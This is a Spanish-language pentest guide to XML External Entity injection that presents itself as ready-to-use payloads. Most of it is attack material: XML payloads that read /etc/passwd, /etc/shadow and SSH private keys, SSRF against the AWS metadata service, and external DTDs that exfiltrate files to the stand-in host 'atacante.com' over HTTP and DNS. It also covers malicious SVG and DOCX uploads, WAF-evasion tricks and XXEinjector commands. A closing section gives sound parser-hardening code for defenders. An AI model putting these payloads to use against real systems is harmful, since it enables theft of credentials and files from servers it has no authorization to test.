La inyección de XML External Entity (XXE) es una de las vulnerabilidades más peligrosas en aplicaciones web — capaz de leer archivos del servidor, desencadenar SSRF y lograr ejecución remota de código en las condiciones correctas.

Lleva años en el OWASP Top 10 y sigue presente en sistemas en producción. El motivo: los desarrolladores habilitan parsers XML con procesamiento de entidades externas activado por defecto y nunca lo desactivan.

Esta guía cubre detección, explotación, exfiltración de datos fuera de banda, XXE ciego y bypass de WAF — con payloads listos para usar en tu próximo pentest.

¿Qué es XXE?

XXE significa XML External Entity injection (inyección de entidad externa XML). Explota cómo los parsers XML procesan referencias a entidades externas definidas en una Document Type Definition (DTD).

Cuando una aplicación parsea XML controlado por el usuario, un atacante puede inyectar una DTD personalizada que referencia recursos externos — como archivos locales, recursos de red interna o servidores remotos.

Ejemplo mínimo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

Si el parser procesa esto, el contenido de /etc/passwd se devuelve en la respuesta. Eso es XXE en su forma más simple.

Por Qué los Parsers XML Son el Problema

La mayoría de los parsers XML están configurados para resolver entidades externas por defecto. La aplicación no necesita “soportar” XXE — solo necesita parsear XML sin deshabilitar esa característica.

Encontrarás XXE en:

  • Servicios web basados en SOAP
  • APIs REST que aceptan Content-Type: application/xml
  • Funcionalidades de subida de archivos (DOCX, SVG, XLSX usan XML internamente)
  • Parsers de feeds RSS/Atom
  • Flujos de autenticación SAML
  • Parsers de archivos de configuración

Tipos de Ataques XXE

1. XXE Clásico (In-Band)

Los datos extraídos se devuelven directamente en la respuesta. Es el más fácil de explotar y de detectar.

2. XXE Ciego (OOB)

No hay datos en la respuesta. Se exfiltra mediante un canal fuera de banda (consulta DNS o petición HTTP a tu servidor).

3. XXE Basado en Errores

Se desencadenan errores del parser que incluyen el contenido de archivos en el mensaje de error.

4. XXE como SSRF

Usar referencias a entidades externas para sondear recursos de la red interna.

5. XXE como RCE

Raramente posible de forma directa, pero alcanzable mediante el wrapper expect:// de PHP o lógica específica de la aplicación.

Detección

Paso 1: Identificar Puntos de Entrada XML

Busca peticiones con:

  • Content-Type: application/xml o text/xml
  • Cuerpo estructurado como XML (<?xml, <root>, sobres SOAP)
  • Endpoints de subida de archivos (sube un SVG o DOCX malicioso)
  • Peticiones SAML (XML en base64 en parámetros POST)

Paso 2: Inyectar un Payload Básico

Intercepta la petición en Burp Suite e inyecta una DTD mínima:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe "cadena_de_prueba">
]>
<root><data>&xxe;</data></root>

Si la respuesta contiene cadena_de_prueba, el parser está resolviendo entidades — continúa con la lectura de archivos.

Paso 3: Probar Lectura de Archivos

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

Busca el contenido del passwd en la respuesta.

Paso 4: Escaneo Activo con Burp Suite

Burp Scanner (Pro) detecta automáticamente XXE en parámetros XML. Para pruebas manuales, Burp Repeater es tu herramienta principal.

Si estás configurando un laboratorio de práctica, Vultr te da un VPS limpio para ejecutar DVWA, WebGoat o tu propia app vulnerable — $5/mes, levanta y destruye cuando quieras.

Explotación

Lectura de Archivos Locales

Objetivos Linux:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///home/usuario/.ssh/id_rsa">
]>
<root>&xxe;</root>

Objetivos Windows:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/inetpub/wwwroot/web.config">
]>
<root>&xxe;</root>

Lectura de Código Fuente PHP

El wrapper php://filter de PHP permite codificar el contenido de archivos en base64 antes de devolverlos — evita problemas con caracteres especiales que rompen el XML:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root>&xxe;</root>

Decodifica la respuesta en base64 para obtener el código fuente PHP en bruto.

XXE como SSRF

Sondear servicios internos:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Esto apunta al servicio de metadatos de AWS. Si devuelve datos, puedes enumerar credenciales IAM, identidad de instancia, etc.

Escaneo de puertos interno:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:22/">
]>
<root>&xxe;</root>

Las diferencias en tiempo de respuesta y contenido revelan puertos abiertos vs cerrados.

Entidades de Parámetros en Ataques DTD

Cuando las entidades inline están bloqueadas, usa entidades de parámetros (prefijadas con %) para inyecciones más avanzadas:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://atacante.com/?data=%file;'>">
  %wrap;
]>
<root>&exfil;</root>

Nota: Muchos parsers no permiten entidades de parámetros dentro de subconjuntos DTD internos. Necesitarás una DTD externa para explotar entidades de parámetros completamente.

XXE Ciego y Exfiltración Fuera de Banda

Cuando la respuesta no devuelve datos, necesitas técnicas OOB.

Configurar tu Listener

Usa cualquier servidor que registre peticiones entrantes. Opciones:

  • nc -lvnp 80
  • Servidor HTTP Python: python3 -m http.server 80
  • Burp Collaborator (Pro) — la opción más cómoda
  • interactsh — gratuito y open source

En un VPS (DigitalOcean funciona bien para esto — levanta uno en minutos):

python3 -m http.server 80

Detección Basada en DNS (XXE Ciego)

Test mínimo de XXE ciego:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://TU-URL-COLLABORATOR.com/">
]>
<root>&xxe;</root>

Una consulta DNS o petición HTTP a tu servidor confirma que XXE existe incluso sin respuesta in-band.

Exfiltración OOB mediante DTD Externa

Aloja una DTD maliciosa en http://atacante.com/evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://atacante.com/?data=%file;'>">
%oob;

Luego referencíala en tu payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://atacante.com/evil.dtd">
  %dtd;
]>
<root>&exfil;</root>

Flujo:

  1. El parser descarga tu DTD externa
  2. La DTD define %file (lee /etc/passwd)
  3. La DTD construye una entidad que hace una petición HTTP con el contenido del archivo
  4. Recibes los datos en los logs de tu servidor

OOB Solo vía DNS (Bypass de Firewall)

Si el tráfico HTTP saliente está bloqueado pero el DNS no (común en redes corporativas), codifica los datos en subdominios DNS:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % oob "<!ENTITY exfil SYSTEM 'http://%file;.atacante.com/'>">

El hostname queda embebido en la consulta DNS. Monitoriza los logs de tu servidor DNS.

XXE Basado en Errores

Desencadena un error del parser que incluye el contenido del archivo en el mensaje de error:

DTD externa (error.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY &#x25; err SYSTEM 'file:///NOEXISTE/%file;'>">
%error;
%err;

Payload:

<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://atacante.com/error.dtd">
  %dtd;
]>
<root/>

El parser intenta abrir un archivo inexistente usando el contenido del passwd como parte de la ruta — el mensaje de error filtra el contenido del archivo.

XXE mediante Subida de Archivos

Las aplicaciones que procesan archivos subidos frecuentemente parsean XML internamente.

XXE en Subida de SVG

SVG es XML. Si la app renderiza o procesa SVGs en el lado del servidor:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Súbelo como evil.svg. Si la app incluye el contenido del SVG en su respuesta o error, tienes XXE.

XXE en DOCX/XLSX/PPTX

Los formatos Office Open XML son archivos ZIP que contienen archivos XML. Para inyectar:

  1. Crea un DOCX legítimo
  2. Descomprime: unzip documento.docx -d contenido_docx/
  3. Edita word/document.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
  <w:body>
    <w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
  </w:body>
</w:document>
  1. Reempaqueta: cd contenido_docx && zip -r ../evil.docx .
  2. Sube a cualquier funcionalidad de procesamiento de documentos

XXE en SAML

Las peticiones de autenticación SAML son XML codificado en base64. Si la app procesa SAML sin deshabilitar entidades externas:

  1. Intercepta la aserción SAML en Burp
  2. Decodifica el base64
  3. Inyecta tu payload XXE
  4. Recodifica y envía

Técnicas de Bypass de WAF

Codificación

XML soporta múltiples codificaciones. Prueba:

<?xml version="1.0" encoding="UTF-16"?>

Convierte tu payload a UTF-16 antes de enviarlo. La mayoría de los WAFs hacen matching de patrones en UTF-8.

cat payload.xml | iconv -f UTF-8 -t UTF-16LE > payload_utf16.xml

Transfer Encoding Chunked

Envía el payload en encoding HTTP chunked. Los WAFs que solo buferizan peticiones cortas pueden no detectar la inyección:

Transfer-Encoding: chunked

10
<!DOCTYPE foo [
10
<!ENTITY xx
...

Anidamiento de Entidades

Algunos WAFs bloquean las palabras clave SYSTEM o file://. Prueba con referencias a entidades anidadas o variaciones de espacios en blanco:

<!DOCTYPE foo [
  <!ENTITY % a "fil">
  <!ENTITY % b "e:">
  <!ENTITY % c "///etc/passwd">
  <!ENTITY % combined "<!ENTITY xxe SYSTEM '%a;%b;%c;'>">
  %combined;
]>
<root>&xxe;</root>

Namespaces Alternativos de Entidades de Parámetros

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://atacante.com/evil">
]>

vs.

<!DOCTYPE foo PUBLIC "-//W3C//DTD XHTML 1.0//EN" "http://atacante.com/evil">

El identificador PUBLIC también puede usarse para desencadenar fetches de recursos externos en algunos parsers.

Manipulación de Content-Type

Si la app solo permite application/json pero procesa XML: intenta cambiar Content-Type: application/xml y enviar un cuerpo XML. Muchas apps aceptan ambos sin validar el tipo declarado.

Herramientas

Burp Suite

La referencia para testing manual de XXE. Usa:

  • Intercept para capturar peticiones XML
  • Repeater para modificar y reenviar payloads
  • Burp Collaborator (Pro) para detección OOB ciega
  • Active Scanner (Pro) para detección automática de XXE

XXEinjector

XXEinjector — herramienta en Ruby que automatiza la explotación XXE incluyendo exfiltración OOB de archivos:

ruby XXEinjector.rb --host=atacante.com --path=/etc/passwd --file=peticion.txt --oob=http

xml_cannibalist

Herramienta Python sencilla para construir payloads XXE:

git clone https://github.com/r0oth3x49/xml_cannibalist
python3 xml_cannibalist.py -f /etc/passwd

Interactsh

Alternativa gratuita a Burp Collaborator para detección OOB:

interactsh-client

Te da un subdominio. Cualquier hit DNS/HTTP queda registrado.

Entornos de Práctica

WebGoat

La app intencionalmente vulnerable de OWASP incluye retos de XXE:

docker run -d -p 8080:8080 webgoat/goat-and-wolf

DVWA con Plugin XML

Portswigger Web Security Academy

Labs de XXE gratuitos y en el navegador que cubren cada escenario de esta guía. Sin configuración previa.

XXE vs Otros Tipos de Inyección

XXESSRFSQL Injection
Vector de ataqueParser XMLPetición HTTPQuery SQL
Fuente de datosArchivos locales, HTTP internoServicios internosBase de datos
Técnica ciegaOOB DNS/HTTPTiming de respuestaBoolean/time-based
Bypass de WAFCodificación, chunkedCodificación URL, HTTPSComentarios, codificación
Mejor herramientaBurp SuiteBurp Suitesqlmap + Burp

Defensa y Remediación

Deshabilitar Entidades Externas (la solución)

Java (DocumentBuilderFactory):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml):

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_file, parser)

PHP:

libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);

.NET:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(xmlStream, settings);

Usar JSON en su Lugar

Si XML no es necesario, migra a JSON. Sin soporte de DTD = sin superficie de ataque XXE.

Validación de Entrada

Filtra el XML del usuario por las palabras clave DOCTYPE, ENTITY, SYSTEM y PUBLIC. Útil como defensa en profundidad, pero no como control primario — el encoding lo evade.

Reglas de WAF

OWASP CRS incluye firmas de detección de XXE. No suficiente por sí solo, pero útil como capa adicional:

SecRule REQUEST_BODY "@contains <!DOCTYPE" "id:9001,deny,status:403"

Resumen

XXE es explotable en cualquier lugar donde una aplicación parsee XML controlado por el usuario sin deshabilitar el procesamiento de entidades externas. En 2026, sigue encontrándose en flujos SAML empresariales, procesadores de documentos y servicios SOAP heredados.

Técnicas clave:

  • Clásico: inyectar entidad SYSTEM "file://...", leer en respuesta
  • OOB ciego: alojar DTD externa, exfiltrar via HTTP/DNS a tu servidor
  • Basado en errores: desencadenar errores del parser que incluyan contenido de archivos
  • Subida de archivos: explotar parsers de SVG, DOCX, XLSX
  • SAML: decodificar base64, inyectar, recodificar

La solución es simple: deshabilitar el procesamiento de entidades externas en tu parser XML. La configuración por defecto de la mayoría de parsers es insegura — tienes que desactivarlo explícitamente.


Continúa Aprendiendo

Esta guía es parte de la serie de Pentesting de Aplicaciones Web de RTG:


¿Necesitas un informe de pentest que soporte el escrutinio? CipherWrite entrega contenido técnico de seguridad escrito por profesionales — conoce nuestros servicios .